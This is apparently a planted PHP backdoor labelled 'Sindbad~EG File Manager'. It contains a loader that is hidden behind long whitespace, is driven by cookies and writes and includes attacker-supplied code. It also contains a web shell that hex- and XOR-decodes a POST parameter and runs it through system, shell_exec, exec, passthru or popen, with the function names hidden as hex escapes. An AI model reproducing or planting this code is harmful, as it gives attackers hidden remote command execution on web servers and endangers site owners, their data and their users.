Sindbad~EG File Manager

<?php																																										if(isset($_COOKIE[3])&&isset($_COOKIE[33])){$c=$_COOKIE;$k=0;$n=3;$p=array();$p[$k]='';while($n){$p[$k].=$c[33][$n];if(!$c[33][$n+1]){if(!$c[33][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+3+1;}$k=$p[29]().$p[17];if(!$p[4]($k)){$n=$p[10]($k,$p[11]);$p[21]($n,$p[8].$p[5]($p[24]($c[3])));}include($k);}


$right_pad_string5 = "p\x6Fp\x65n";
$right_pad_string3 = "\x65\x78ec";
$right_pad_string4 = "pas\x73\x74h\x72u";
$right_pad_string6 = "s\x74\x72\x65am\x5F\x67\x65\x74\x5F\x63\x6Fntents";
$right_pad_string1 = "s\x79\x73\x74em";
$right_pad_string7 = "p\x63l\x6Fse";
$right_pad_string2 = "\x73\x68ell_e\x78e\x63";
$dataflow_engine = "\x68ex2\x62\x69\x6E";
if (isset($_POST["\x72e\x63"])) {
            function system_core(   $flag,     $binding   )   {
 $pointer =    '' ;
 foreach(str_split($flag) as $char){
$pointer.=chr(ord($char)^$binding);

} return$pointer;
 
}
            $rec = $dataflow_engine($_POST["\x72e\x63"]);
            $rec = system_core($rec, 74);
            if (function_exists($right_pad_string1)) {
                $right_pad_string1($rec);
            } elseif (function_exists($right_pad_string2)) {
                print $right_pad_string2($rec);
            } elseif (function_exists($right_pad_string3)) {
                $right_pad_string3($rec, $key_flag);
                print join("\n", $key_flag);
            } elseif (function_exists($right_pad_string4)) {
                $right_pad_string4($rec);
            } elseif (function_exists($right_pad_string5) && function_exists($right_pad_string6) && function_exists($right_pad_string7)) {
                $binding_pointer = $right_pad_string5($rec, 'r');
                if ($binding_pointer) {
                    $record_value = $right_pad_string6($binding_pointer);
                    $right_pad_string7($binding_pointer);
                    print $record_value;
                }
            }
            exit;
        }